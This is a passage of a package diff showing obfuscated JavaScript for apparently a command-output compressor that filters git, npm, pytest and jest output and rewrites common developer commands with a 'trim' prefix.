_0x424929=a0_0x51e3d2,_0x3cb4fd=_0x7b7736['split']('\x0a')[_0x424929(0x15f)](_0x3ac0f7=>_0x3ac0f7['trim']())[_0x424929(0x163)](_0x58d2d5=>_0x58d2d5[_0x424929(0x176)]>0x0);if(_0x3cb4fd['length']===0x0)return'Clean\x20working\x20tree';const _0x2e33b9=[],_0x53ffd7=[],_0x583fe1=[];for(const _0x207072 of _0x3cb4fd){if(_0x207072['startsWith']('##')){const _0x472327=_0x207072[_0x424929(0x16a)](/^##\s*/,'');_0x2e33b9[_0x424929(0x17a)]('*\x20Branch:\x20'+_0x472327);}else _0x207072[_0x424929(0x169)]('??')?_0x53ffd7[_0x424929(0x17a)](_0x207072[_0x424929(0x188)](0x3)[_0x424929(0x185)]()):_0x583fe1['push'](_0x207072);}_0x583fe1[_0x424929(0x176)]>0x0&&(_0x2e33b9[_0x424929(0x17a)](_0x424929(0x16d)),_0x2e33b9['push'](..._0x583fe1[_0x424929(0x15f)](_0x4ef8dd=>'\x20\x20'+_0x4ef8dd)));if(_0x53ffd7['length']>0x0){_0x2e33b9[_0x424929(0x17a)](_0x424929(0x168));const _0x5523d2={},_0x4d95f7=[];for(const _0x49fb19 of _0x53ffd7){const _0xde84ec=path[_0x424929(0x17c)](_0x49fb19);_0xde84ec==='.'||_0xde84ec===''?_0x4d95f7['push'](_0x49fb19):(!_0x5523d2[_0xde84ec]&&(_0x5523d2[_0xde84ec]=[]),_0x5523d2[_0xde84ec][_0x424929(0x17a)](path[_0x424929(0x190)](_0x49fb19)));}for(const [_0xd6aa83,_0x28035a]of Object[_0x424929(0x160)](_0x5523d2)){if(_0x28035a['length']>0x5)_0x2e33b9[_0x424929(0x17a)](_0x424929(0x18f)+_0xd6aa83+_0x424929(0x182)+_0x28035a['length']+'\x20untracked\x20files)');else for(const _0x5596d1 of _0x28035a){_0x2e33b9[_0x424929(0x17a)](_0x424929(0x18f)+path['join'](_0xd6aa83,_0x5596d1));}}for(const _0x553ab6 of _0x4d95f7){_0x2e33b9[_0x424929(0x17a)]('\x20\x20??\x20'+_0x553ab6);}}return _0x2e33b9[_0x424929(0x161)]('\x0a');}function a0_0x1ddb(){const _0x476b7d=['defineProperty','push','__esModule','dirname','8149071Fkjbub','slice','1769202BicoKu','+++','get','/\x20(','\x20(+','14562036TXwqOW','trim','match','9265584batEwI','substring','split','filterGitLog','__setModuleDefault','[file]\x20','\x20more\x20modifications','create','\x20\x20??\x20','basename','prototype','\x20\x20...\x20+','1xHYtxO','writable','getOwnPropertyDescriptor','map','entries','join','diff\x20--git','filter','filterGitStatus','getOwnPropertyNames','100596IWCnAi','\x20lines\x20of\x20description)','\x0aUntracked\x20files:','startsWith','replace','call','3783485vtCpht','\x0aChanges:','default','1039634jHYjmf','16HecqbP','No\x20modifications','__importStar','filterGitDiff','---','path','length','configurable','__createBinding'];a0_0x1ddb=function(){return _0x476b7d;};return a0_0x1ddb();}function filterGitLog(_0x592c68){const _0x218ea6=a0_0x51e3d2,_0x5ee4a2=_0x592c68['split']('---END---')[_0x218ea6(0x15f)](_0x5eeefa=>_0x5eeefa[_0x218ea6(0x185)]())[_0x218ea6(0x163)](_0x22c96e=>_0x22c96e['length']>0x0);if(_0x5ee4a2[_0x218ea6(0x176)]===0x0)return _0x592c68;const _0x3d99ac=[];for(const _0x32ab46 of _0x5ee4a2){const _0x44e807=_0x32ab46[_0x218ea6(0x189)]('\x0a'),_0x4019fc=_0x44e807[0x0]||'',_0x3f4f4e=_0x44e807[_0x218ea6(0x17e)](0x1)['map'](_0x3b12be=>_0x3b12be[_0x218ea6(0x185)]())[_0x218ea6(0x163)](_0x5738cf=>_0x5738cf[_0x218ea6(0x176)]>0x0);_0x3d99ac['push']('-\x20'+_0x4019fc),_0x3f4f4e[_0x218ea6(0x176)]>0x0&&(_0x3d99ac[_0x218ea6(0x17a)]('\x20\x20'+_0x3f4f4e[0x0]),_0x3f4f4e[_0x218ea6(0x176)]>0x1&&_0x3d99ac[_0x218ea6(0x17a)]('\x20\x20...\x20(+'+(_0x3f4f4e['length']-0x1)+_0x218ea6(0x167)));}return _0x3d99ac[_0x218ea6(0x161)]('\x0a');}function filterGitDiff(_0x5d8f0f){const _0x30cf6d=a0_0x51e3d2,_0x56cfcc=_0x5d8f0f['split']('\x0a'),_0x4cc13e=[];let _0x21e96c='',_0x3a3e97=0x0,_0x242736=0x0,_0x35da86=[];const _0x301b24=()=>{const _0x15f530=a0_0x5d02;if(_0x21e96c&&(_0x3a3e97>0x0||_0x242736>0x0)){_0x4cc13e[_0x15f530(0x17a)](_0x15f530(0x18c)+_0x21e96c+_0x15f530(0x183)+_0x3a3e97+'\x20-'+_0x242736+')');const _0x32c44e=0xa,_0x381c4e=_0x35da86[_0x15f530(0x17e)](0x0,_0x32c44e);for(const _0x59c5d2 of _0x381c4e){_0x4cc13e[_0x15f530(0x17a)]('\x20\x20'+_0x59c5d2);}const _0x310781=_0x3a3e97+_0x242736-_0x32c44e;_0x310781>0x0&&_0x4cc13e[_0x15f530(0x17a)](_0x15f530(0x15b)+_0x310781+_0x15f530(0x18d));}_0x3a3e97=0x0,_0x242736=0x0,_0x35da86=[];};for(const _0x41f437 of _0x56cfcc){if(_0x41f437[_0x30cf6d(0x169)](_0x30cf6d(0x162))){_0x301b24();const _0x3ec745=_0x41f437[_0x30cf6d(0x186)](/\sb\/(.+)$/);_0x21e96c=_0x3ec745?_0x3ec745[0x1]:'unknown_file';}else{if(_0x41f437[_0x30cf6d(0x169)]('+')&&!_0x41f437[_0x30cf6d(0x169)](_0x30cf6d(0x180)))_0x3a3e97++,_0x35da86['push'](_0x41f437);else _0x41f437[_0x30cf6d(0x169)]('-')&&!_0x41f437[_0x30cf6d(0x169)](_0x30cf6d(0x174))&&(_0x242736++,_0x35da86['push'](_0x41f437));}}_0x301b24();const _0x37c9c3=_0x4cc13e['join']('\x0a');return _0x37c9c3[_0x30cf6d(0x176)]>0x0?_0x37c9c3:_0x30cf6d(0x171);}
package/filters/index.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x1a24f5=a0_0x352f;function a0_0x352f(_0x17d94a,_0x2026a5){_0x17d94a=_0x17d94a-0xba;const _0x4e1baf=a0_0x4e1b();let _0x352f7=_0x4e1baf[_0x17d94a];return _0x352f7;}(function(_0x37f9e8,_0x2ebc26){const _0x4e6157=a0_0x352f,_0x43a4f4=_0x37f9e8();while(!![]){try{const _0x2f72a5=-parseInt(_0x4e6157(0xdc))/0x1*(-parseInt(_0x4e6157(0xd7))/0x2)+-parseInt(_0x4e6157(0xd3))/0x3*(parseInt(_0x4e6157(0xce))/0x4)+parseInt(_0x4e6157(0xde))/0x5+parseInt(_0x4e6157(0xeb))/0x6*(-parseInt(_0x4e6157(0xcb))/0x7)+parseInt(_0x4e6157(0xca))/0x8*(-parseInt(_0x4e6157(0xbe))/0x9)+-parseInt(_0x4e6157(0xe5))/0xa*(parseInt(_0x4e6157(0xe4))/0xb)+-parseInt(_0x4e6157(0xe7))/0xc*(-parseInt(_0x4e6157(0xec))/0xd);if(_0x2f72a5===_0x2ebc26)break;else _0x43a4f4['push'](_0x43a4f4['shift']());}catch(_0x32ab55){_0x43a4f4['push'](_0x43a4f4['shift']());}}}(a0_0x4e1b,0x1e7d5));function a0_0x4e1b(){const _0x1abcb1=['trim\x20grep','1355148JLtZFg','vitest','npm\x20i','trim\x20pytest','filterPytest','git\x20status','pip3\x20install','softTruncate','length','trim\x20glab','redactor','trim\x20kubectl','8LDNIeX','7JOgKmE','filterGitLog','redact','4268hawmOx','trim','yadm\x20diff','pattern','rewriteCommand','234ekFLYp','git\x20show','trim\x20go','startsWith','42022xhmLTT','pytest','yarn\x20install','trim\x20docker','__esModule','10BkwWQB','jest','1079720SsaiiE','trim\x20pip','pnpm\x20install','collapseDuplicates','yadm\x20log','trim\x20','88Xxqgvt','254550hkBEbn','./generic','15828BQxJaD','trim\x20npm','stripAnsi','trim\x20ls','765186gFTmVr','2600gGnHAS','pip\x20install','filterNpmInstall','git\x20diff','trim\x20gh','filterGitDiff','compressOutput','trim\x20cargo','toLowerCase','includes','trim\x20git'];a0_0x4e1b=function(){return _0x1abcb1;};return a0_0x4e1b();}Object['defineProperty'](exports,a0_0x1a24f5(0xdb),{'value':!![]}),exports[a0_0x1a24f5(0xf2)]=compressOutput,exports[a0_0x1a24f5(0xd2)]=rewriteCommand;const generic_1=require(a0_0x1a24f5(0xe6)),git_1=require('./git'),python_1=require('./python'),js_1=require('./js'),redactor_1=require('../redactor');function compressOutput(_0x4a3fe6,_0x76fe8b,_0x452d4b,_0xc8bd5c=!![]){const _0x45b0fb=a0_0x1a24f5,_0x416d11=_0x4a3fe6[_0x45b0fb(0xcf)]();let _0x571125=_0x76fe8b;_0x452d4b[_0x45b0fb(0xcf)]()[_0x45b0fb(0xc6)]>0x0&&(_0x571125=_0x76fe8b+'\x0a'+_0x452d4b);let _0x245d8a=(0x0,generic_1[_0x45b0fb(0xe9)])(_0x571125);_0xc8bd5c&&(_0x245d8a=redactor_1[_0x45b0fb(0xc8)][_0x45b0fb(0xcd)](_0x245d8a));const _0x2ffeeb=_0x416d11[_0x45b0fb(0xba)]();try{if(_0x2ffeeb[_0x45b0fb(0xbb)](_0x45b0fb(0xc3))||_0x2ffeeb['includes']('yadm\x20status'))return(0x0,git_1['filterGitStatus'])(_0x245d8a);if(_0x2ffeeb[_0x45b0fb(0xbb)]('git\x20log')||_0x2ffeeb[_0x45b0fb(0xbb)](_0x45b0fb(0xe2)))return(0x0,git_1[_0x45b0fb(0xcc)])(_0x245d8a);if(_0x2ffeeb[_0x45b0fb(0xbb)](_0x45b0fb(0xef))||_0x2ffeeb[_0x45b0fb(0xbb)](_0x45b0fb(0xd4))||_0x2ffeeb[_0x45b0fb(0xbb)](_0x45b0fb(0xd0)))return(0x0,git_1[_0x45b0fb(0xf1)])(_0x245d8a);if(_0x2ffeeb[_0x45b0fb(0xbb)](_0x45b0fb(0xd8)))return(0x0,python_1[_0x45b0fb(0xc2)])(_0x245d8a);if(_0x2ffeeb['includes']('npm\x20install')||_0x2ffeeb[_0x45b0fb(0xbb)]('npm\x20i\x20')||_0x2ffeeb['endsWith'](_0x45b0fb(0xc0))||_0x2ffeeb['includes'](_0x45b0fb(0xe0))||_0x2ffeeb[_0x45b0fb(0xbb)](_0x45b0fb(0xd9)))return(0x0,js_1[_0x45b0fb(0xee)])(_0x245d8a);if(_0x2ffeeb['includes'](_0x45b0fb(0xed))||_0x2ffeeb[_0x45b0fb(0xbb)](_0x45b0fb(0xc4)))return(0x0,python_1['filterPipInstall'])(_0x245d8a);if(_0x2ffeeb[_0x45b0fb(0xbb)](_0x45b0fb(0xdd))||_0x2ffeeb[_0x45b0fb(0xbb)](_0x45b0fb(0xbf)))return(0x0,js_1['filterJestVitest'])(_0x245d8a);}catch(_0x4cb703){}return _0x245d8a=(0x0,generic_1[_0x45b0fb(0xe1)])(_0x245d8a),_0x245d8a=(0x0,generic_1[_0x45b0fb(0xc5)])(_0x245d8a,0x4e20),_0x245d8a;}const REWRITE_RULES=[{'pattern':/^(?:git|yadm)\s+(?:-[Cc]\s+\S+\s+)*(status|log|diff|show|add|commit|push|pull|branch|fetch|stash|worktree)/,'prefix':a0_0x1a24f5(0xbc)},{'pattern':/^gh\s+(pr|issue|run|repo|api|release)/,'prefix':a0_0x1a24f5(0xf0)},{'pattern':/^glab\s+(mr|issue|ci|pipeline|api|release)/,'prefix':a0_0x1a24f5(0xc7)},{'pattern':/^cargo\s+(build|test|clippy|check|fmt|install)/,'prefix':a0_0x1a24f5(0xf3)},{'pattern':/^pnpm\s+(exec|i|install|list|ls|outdated|run|run-script)/,'prefix':'trim\x20pnpm'},{'pattern':/^npm\s+(exec|run|run-script|rum|urn|x)(\s|$)/,'prefix':a0_0x1a24f5(0xe8)},{'pattern':/^npx\s+/,'prefix':'trim\x20npx'},{'pattern':/^(cat|head|tail)\s+/,'prefix':'trim\x20read'},{'pattern':/^(rg|grep)\s+/,'prefix':a0_0x1a24f5(0xbd)},{'pattern':/^ls(\s|$)/,'prefix':a0_0x1a24f5(0xea)},{'pattern':/^find\s+/,'prefix':'trim\x20find'},{'pattern':/^docker\s+(ps|images|logs|run|exec|build|compose)/,'prefix':a0_0x1a24f5(0xda)},{'pattern':/^kubectl\s+(get|logs|describe|apply)/,'prefix':a0_0x1a24f5(0xc9)},{'pattern':/^(python3?\s+-m\s+)?pytest(\s|$)/,'prefix':a0_0x1a24f5(0xc1)},{'pattern':/^(pip3?|uv\s+pip)\s+(list|outdated|install|show)/,'prefix':a0_0x1a24f5(0xdf)},{'pattern':/^go\s+(test|build|vet)/,'prefix':a0_0x1a24f5(0xd5)}];function rewriteCommand(_0x428d15){const _0x3182d5=a0_0x1a24f5,_0x2f231b=_0x428d15[_0x3182d5(0xcf)]();if(_0x2f231b[_0x3182d5(0xd6)](_0x3182d5(0xe3)))return _0x2f231b;for(const _0x17693d of REWRITE_RULES){if(_0x17693d[_0x3182d5(0xd1)]['test'](_0x2f231b))return _0x3182d5(0xe3)+_0x2f231b;}return _0x2f231b;}
1
+ 'use strict';function a0_0x1603(_0x1361be,_0x4ca2ad){_0x1361be=_0x1361be-0x1d6;const _0x2355cf=a0_0x2355();let _0x1603c3=_0x2355cf[_0x1361be];return _0x1603c3;}const a0_0x474766=a0_0x1603;(function(_0xb015ab,_0x1726dd){const _0x248562=a0_0x1603,_0x584aa8=_0xb015ab();while(!![]){try{const _0x283588=-parseInt(_0x248562(0x1f8))/0x1+-parseInt(_0x248562(0x1fc))/0x2*(parseInt(_0x248562(0x1ec))/0x3)+-parseInt(_0x248562(0x20c))/0x4+parseInt(_0x248562(0x1d6))/0x5+parseInt(_0x248562(0x1fe))/0x6+parseInt(_0x248562(0x1db))/0x7*(parseInt(_0x248562(0x1df))/0x8)+parseInt(_0x248562(0x1e0))/0x9;if(_0x283588===_0x1726dd)break;else _0x584aa8['push'](_0x584aa8['shift']());}catch(_0x223495){_0x584aa8['push'](_0x584aa8['shift']());}}}(a0_0x2355,0x572c2));Object['defineProperty'](exports,a0_0x474766(0x1d9),{'value':!![]}),exports[a0_0x474766(0x1dd)]=compressOutput,exports['rewriteCommand']=rewriteCommand;function a0_0x2355(){const _0x30e40b=['filterPytest','trim\x20go','jest','trim\x20pnpm','softTruncate','trim\x20ls','./generic','yadm\x20diff','endsWith','yadm\x20log','trim\x20','trim\x20docker','2669988AKhaSh','pip3\x20install','3011870swNwuK','pip\x20install','trim','__esModule','redactor','42749UfKdGl','git\x20log','compressOutput','../redactor','56qxMQCv','4232052QldWsW','trim\x20pytest','trim\x20grep','trim\x20find','collapseDuplicates','trim\x20kubectl','trim\x20npx','length','filterJestVitest','trim\x20git','git\x20show','includes','471SstfYQ','trim\x20read','trim\x20npm','npm\x20i\x20','pytest','filterGitStatus','test','filterGitLog','trim\x20gh','trim\x20glab','toLowerCase','yadm\x20status','4776kVdrpj','./git','filterNpmInstall','./python','5882EYbigV','filterGitDiff','2254302gWcXjS','git\x20diff'];a0_0x2355=function(){return _0x30e40b;};return a0_0x2355();}const generic_1=require(a0_0x474766(0x206)),git_1=require(a0_0x474766(0x1f9)),python_1=require(a0_0x474766(0x1fb)),js_1=require('./js'),redactor_1=require(a0_0x474766(0x1de));function compressOutput(_0x11a352,_0x1a60b6,_0x5e4f20,_0x396232=!![]){const _0xe20fbf=a0_0x474766,_0x82096c=_0x11a352['trim']();let _0x252d2e=_0x1a60b6;_0x5e4f20['trim']()[_0xe20fbf(0x1e7)]>0x0&&(_0x252d2e=_0x1a60b6+'\x0a'+_0x5e4f20);let _0x33f151=(0x0,generic_1['stripAnsi'])(_0x252d2e);_0x396232&&(_0x33f151=redactor_1[_0xe20fbf(0x1da)]['redact'](_0x33f151));const _0x52b24d=_0x82096c[_0xe20fbf(0x1f6)]();try{if(_0x52b24d[_0xe20fbf(0x1eb)]('git\x20status')||_0x52b24d['includes'](_0xe20fbf(0x1f7)))return(0x0,git_1[_0xe20fbf(0x1f1)])(_0x33f151);if(_0x52b24d[_0xe20fbf(0x1eb)](_0xe20fbf(0x1dc))||_0x52b24d['includes'](_0xe20fbf(0x209)))return(0x0,git_1[_0xe20fbf(0x1f3)])(_0x33f151);if(_0x52b24d[_0xe20fbf(0x1eb)](_0xe20fbf(0x1ff))||_0x52b24d[_0xe20fbf(0x1eb)](_0xe20fbf(0x1ea))||_0x52b24d[_0xe20fbf(0x1eb)](_0xe20fbf(0x207)))return(0x0,git_1[_0xe20fbf(0x1fd)])(_0x33f151);if(_0x52b24d['includes'](_0xe20fbf(0x1f0)))return(0x0,python_1[_0xe20fbf(0x200)])(_0x33f151);if(_0x52b24d[_0xe20fbf(0x1eb)]('npm\x20install')||_0x52b24d[_0xe20fbf(0x1eb)](_0xe20fbf(0x1ef))||_0x52b24d[_0xe20fbf(0x208)]('npm\x20i')||_0x52b24d[_0xe20fbf(0x1eb)]('pnpm\x20install')||_0x52b24d[_0xe20fbf(0x1eb)]('yarn\x20install'))return(0x0,js_1[_0xe20fbf(0x1fa)])(_0x33f151);if(_0x52b24d[_0xe20fbf(0x1eb)](_0xe20fbf(0x1d7))||_0x52b24d[_0xe20fbf(0x1eb)](_0xe20fbf(0x20d)))return(0x0,python_1['filterPipInstall'])(_0x33f151);if(_0x52b24d[_0xe20fbf(0x1eb)](_0xe20fbf(0x202))||_0x52b24d[_0xe20fbf(0x1eb)]('vitest'))return(0x0,js_1[_0xe20fbf(0x1e8)])(_0x33f151);}catch(_0x18c328){}return _0x33f151=(0x0,generic_1[_0xe20fbf(0x1e4)])(_0x33f151),_0x33f151=(0x0,generic_1[_0xe20fbf(0x204)])(_0x33f151,0x4e20),_0x33f151;}const REWRITE_RULES=[{'pattern':/^(?:git|yadm)\s+(?:-[Cc]\s+\S+\s+)*(status|log|diff|show|add|commit|push|pull|branch|fetch|stash|worktree)/,'prefix':a0_0x474766(0x1e9)},{'pattern':/^gh\s+(pr|issue|run|repo|api|release)/,'prefix':a0_0x474766(0x1f4)},{'pattern':/^glab\s+(mr|issue|ci|pipeline|api|release)/,'prefix':a0_0x474766(0x1f5)},{'pattern':/^cargo\s+(build|test|clippy|check|fmt|install)/,'prefix':'trim\x20cargo'},{'pattern':/^pnpm\s+(exec|i|install|list|ls|outdated|run|run-script)/,'prefix':a0_0x474766(0x203)},{'pattern':/^npm\s+(exec|run|run-script|rum|urn|x)(\s|$)/,'prefix':a0_0x474766(0x1ee)},{'pattern':/^npx\s+/,'prefix':a0_0x474766(0x1e6)},{'pattern':/^(cat|head|tail)\s+/,'prefix':a0_0x474766(0x1ed)},{'pattern':/^(rg|grep)\s+/,'prefix':a0_0x474766(0x1e2)},{'pattern':/^ls(\s|$)/,'prefix':a0_0x474766(0x205)},{'pattern':/^find\s+/,'prefix':a0_0x474766(0x1e3)},{'pattern':/^docker\s+(ps|images|logs|run|exec|build|compose)/,'prefix':a0_0x474766(0x20b)},{'pattern':/^kubectl\s+(get|logs|describe|apply)/,'prefix':a0_0x474766(0x1e5)},{'pattern':/^(python3?\s+-m\s+)?pytest(\s|$)/,'prefix':a0_0x474766(0x1e1)},{'pattern':/^(pip3?|uv\s+pip)\s+(list|outdated|install|show)/,'prefix':'trim\x20pip'},{'pattern':/^go\s+(test|build|vet)/,'prefix':a0_0x474766(0x201)}];function rewriteCommand(_0x56bc8d){const _0x5f39ce=a0_0x474766,_0x546371=_0x56bc8d[_0x5f39ce(0x1d8)]();if(_0x546371['startsWith'](_0x5f39ce(0x20a)))return _0x546371;for(const _0x35e36a of REWRITE_RULES){if(_0x35e36a['pattern'][_0x5f39ce(0x1f2)](_0x546371))return _0x5f39ce(0x20a)+_0x546371;}return _0x546371;}
package/filters/js.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x4701(){const _0x45b59b=['includes','168xYVHWl','slice','NPM:\x20Packages\x20verified/installed\x20successfully','1207604nnIAce','Tests:','added\x20','\x20\x20...\x20(','144GlmMbl','split','1131217sqOBHE','2099215lqJtaZ','FAIL\x20\x20','11XMmbyD','push','8doFKSu','Test\x20Runner:\x20','9972084Qfljlo','removed\x20','startsWith','found\x20','\x20passed,\x20','2008137MRaACL','12EdIoKL','up\x20to\x20date','\x20failed\x20(','filterNpmInstall','filterJestVitest','Test\x20Files:','length','all','trim','Test\x20Suites:','__esModule','\x20passed','PASS','92722cwFSOK','765620TmvLxW','match','FAIL'];a0_0x4701=function(){return _0x45b59b;};return a0_0x4701();}function a0_0x49ef(_0x4f5d14,_0x2af55e){_0x4f5d14=_0x4f5d14-0xe6;const _0x470171=a0_0x4701();let _0x49ef8b=_0x470171[_0x4f5d14];return _0x49ef8b;}const a0_0x1abf68=a0_0x49ef;(function(_0x4e4fd3,_0xcc8be){const _0x3c9b51=a0_0x49ef,_0x50bc7c=_0x4e4fd3();while(!![]){try{const _0xb5b816=-parseInt(_0x3c9b51(0x104))/0x1+parseInt(_0x3c9b51(0xfe))/0x2+parseInt(_0x3c9b51(0xe8))/0x3*(-parseInt(_0x3c9b51(0x109))/0x4)+parseInt(_0x3c9b51(0x105))/0x5*(parseInt(_0x3c9b51(0xe9))/0x6)+parseInt(_0x3c9b51(0xf6))/0x7*(-parseInt(_0x3c9b51(0xfb))/0x8)+-parseInt(_0x3c9b51(0x102))/0x9*(-parseInt(_0x3c9b51(0xf7))/0xa)+-parseInt(_0x3c9b51(0x107))/0xb*(-parseInt(_0x3c9b51(0x10b))/0xc);if(_0xb5b816===_0xcc8be)break;else _0x50bc7c['push'](_0x50bc7c['shift']());}catch(_0x1a8e46){_0x50bc7c['push'](_0x50bc7c['shift']());}}}(a0_0x4701,0xb76f2));Object['defineProperty'](exports,a0_0x1abf68(0xf3),{'value':!![]}),exports[a0_0x1abf68(0xec)]=filterNpmInstall,exports[a0_0x1abf68(0xed)]=filterJestVitest;function filterNpmInstall(_0x299eac){const _0x188d31=a0_0x1abf68,_0x486c91=_0x299eac['replace'](/\r/g,'\x0a'),_0x3c20a1=_0x486c91['split']('\x0a'),_0x14017f=[];for(const _0x4dc244 of _0x3c20a1){const _0x297958=_0x4dc244['trim']();(_0x297958[_0x188d31(0xfa)](_0x188d31(0x100))||_0x297958[_0x188d31(0xfa)](_0x188d31(0x10c))||_0x297958[_0x188d31(0xfa)]('audited\x20')||_0x297958[_0x188d31(0xfa)](_0x188d31(0xea))||_0x297958[_0x188d31(0xfa)](_0x188d31(0xe6)))&&(!_0x297958[_0x188d31(0xfa)]('%')&&!_0x297958[_0x188d31(0x10d)]('⠋')&&!_0x297958['startsWith']('⠙')&&_0x14017f[_0x188d31(0x108)](_0x297958));}const _0x5b79ea=_0x14017f['join']('\x0a')[_0x188d31(0xf1)]();return _0x5b79ea[_0x188d31(0xef)]>0x0?_0x5b79ea:_0x188d31(0xfd);}function filterJestVitest(_0x37f847){const _0x20596c=a0_0x1abf68,_0x3af3e1=_0x37f847[_0x20596c(0x103)]('\x0a');let _0x5c951e=0x0,_0x1aa3ab=0x0,_0x1c1f9b=0x0;const _0x3821e8=[];let _0xb7fa7a=![];for(const _0x396c6a of _0x3af3e1){const _0x17796c=_0x396c6a[_0x20596c(0xf1)]();if(_0x17796c[_0x20596c(0x10d)](_0x20596c(0xff))||_0x17796c[_0x20596c(0xfa)](_0x20596c(0xee))){const _0x1f6ee1=_0x17796c[_0x20596c(0xf8)](/(\d+)\s+passed/),_0x5980ed=_0x17796c[_0x20596c(0xf8)](/(\d+)\s+failed/),_0x294c48=_0x17796c[_0x20596c(0xf8)](/(\d+)\s+total/);if(_0x1f6ee1)_0x5c951e=parseInt(_0x1f6ee1[0x1]);if(_0x5980ed)_0x1aa3ab=parseInt(_0x5980ed[0x1]);if(_0x294c48)_0x1c1f9b=parseInt(_0x294c48[0x1]);continue;}(_0x17796c['startsWith']('❯')||_0x17796c[_0x20596c(0x10d)]('●')||_0x17796c[_0x20596c(0x10d)](_0x20596c(0x106)))&&(_0xb7fa7a=!![]),_0xb7fa7a&&(_0x17796c['length']>0x0&&!_0x17796c[_0x20596c(0x10d)](_0x20596c(0xf2))&&!_0x17796c[_0x20596c(0x10d)](_0x20596c(0xff))&&_0x3821e8[_0x20596c(0x108)](_0x396c6a));}if(_0x1c1f9b===0x0&&_0x5c951e===0x0&&_0x1aa3ab===0x0){if(_0x37f847[_0x20596c(0xfa)](_0x20596c(0xf5))&&!_0x37f847[_0x20596c(0xfa)](_0x20596c(0xf9))){const _0x2df726=_0x37f847[_0x20596c(0xf8)](/(\d+)\s+passed/),_0x40c5c0=_0x2df726?_0x2df726[0x1]:_0x20596c(0xf0);return _0x20596c(0x10a)+_0x40c5c0+_0x20596c(0xf4);}return _0x37f847;}if(_0x1aa3ab===0x0&&_0x5c951e>0x0)return _0x20596c(0x10a)+_0x5c951e+_0x20596c(0xf4);const _0x4cbba3=[_0x20596c(0x10a)+_0x5c951e+_0x20596c(0xe7)+_0x1aa3ab+_0x20596c(0xeb)+_0x1c1f9b+'\x20total)'];if(_0x3821e8[_0x20596c(0xef)]>0x0){_0x4cbba3[_0x20596c(0x108)]('\x0aFailures:');const _0x135b95=0x19,_0x34ab27=_0x3821e8[_0x20596c(0xfc)](0x0,_0x135b95);for(const _0x499aa1 of _0x34ab27){_0x4cbba3[_0x20596c(0x108)]('\x20\x20'+_0x499aa1);}_0x3821e8[_0x20596c(0xef)]>_0x135b95&&_0x4cbba3[_0x20596c(0x108)](_0x20596c(0x101)+(_0x3821e8[_0x20596c(0xef)]-_0x135b95)+'\x20lines\x20of\x20trace\x20details\x20truncated)');}return _0x4cbba3['join']('\x0a');}
1
+ 'use strict';function a0_0x559e(){const _0x46fb98=['1228328kxfywv','match','replace','defineProperty','Test\x20Files:','up\x20to\x20date','added\x20','4162016HCYyNh','\x20failed\x20(','length','found\x20','__esModule','254607NoPuMn','all','push','includes','8HsEYAe','startsWith','\x20lines\x20of\x20trace\x20details\x20truncated)','236796riUMdx','\x20\x20...\x20(','slice','filterNpmInstall','split','7926363muzdQX','\x20passed','1029370WOuHEw','4178251zvzQXh','125VuJDFC','filterJestVitest','\x0aFailures:','FAIL','NPM:\x20Packages\x20verified/installed\x20successfully','join','Test\x20Runner:\x20','trim','\x20passed,\x20'];a0_0x559e=function(){return _0x46fb98;};return a0_0x559e();}const a0_0x358ecd=a0_0x1a2a;(function(_0x2edf66,_0x50dccd){const _0xd6d278=a0_0x1a2a,_0x163e0d=_0x2edf66();while(!![]){try{const _0x49682a=parseInt(_0xd6d278(0xd1))/0x1+-parseInt(_0xd6d278(0xdc))/0x2+-parseInt(_0xd6d278(0xc3))/0x3*(-parseInt(_0xd6d278(0xc7))/0x4)+-parseInt(_0xd6d278(0xd3))/0x5*(parseInt(_0xd6d278(0xca))/0x6)+parseInt(_0xd6d278(0xd2))/0x7+-parseInt(_0xd6d278(0xbe))/0x8+parseInt(_0xd6d278(0xcf))/0x9;if(_0x49682a===_0x50dccd)break;else _0x163e0d['push'](_0x163e0d['shift']());}catch(_0x3ed0f2){_0x163e0d['push'](_0x163e0d['shift']());}}}(a0_0x559e,0x87a7a));Object[a0_0x358ecd(0xdf)](exports,a0_0x358ecd(0xc2),{'value':!![]}),exports[a0_0x358ecd(0xcd)]=filterNpmInstall,exports[a0_0x358ecd(0xd4)]=filterJestVitest;function a0_0x1a2a(_0x4fd1e5,_0x3b7ff3){_0x4fd1e5=_0x4fd1e5-0xbd;const _0x559e03=a0_0x559e();let _0x1a2a31=_0x559e03[_0x4fd1e5];return _0x1a2a31;}function filterNpmInstall(_0x56e7e5){const _0x21c459=a0_0x358ecd,_0x4adc70=_0x56e7e5[_0x21c459(0xde)](/\r/g,'\x0a'),_0x316c31=_0x4adc70[_0x21c459(0xce)]('\x0a'),_0x4f9932=[];for(const _0x2a0f93 of _0x316c31){const _0x408ce4=_0x2a0f93[_0x21c459(0xda)]();(_0x408ce4['includes'](_0x21c459(0xbd))||_0x408ce4[_0x21c459(0xc6)]('removed\x20')||_0x408ce4[_0x21c459(0xc6)]('audited\x20')||_0x408ce4[_0x21c459(0xc6)](_0x21c459(0xe1))||_0x408ce4['includes'](_0x21c459(0xc1)))&&(!_0x408ce4[_0x21c459(0xc6)]('%')&&!_0x408ce4['startsWith']('⠋')&&!_0x408ce4[_0x21c459(0xc8)]('⠙')&&_0x4f9932['push'](_0x408ce4));}const _0x50faeb=_0x4f9932[_0x21c459(0xd8)]('\x0a')[_0x21c459(0xda)]();return _0x50faeb[_0x21c459(0xc0)]>0x0?_0x50faeb:_0x21c459(0xd7);}function filterJestVitest(_0x41a26f){const _0x18074f=a0_0x358ecd,_0x50187a=_0x41a26f[_0x18074f(0xce)]('\x0a');let _0x54e5de=0x0,_0x20f83a=0x0,_0x5269f3=0x0;const _0x5ff156=[];let _0x11febf=![];for(const _0xb8bb7c of _0x50187a){const _0x5e8f97=_0xb8bb7c[_0x18074f(0xda)]();if(_0x5e8f97[_0x18074f(0xc8)]('Tests:')||_0x5e8f97[_0x18074f(0xc6)](_0x18074f(0xe0))){const 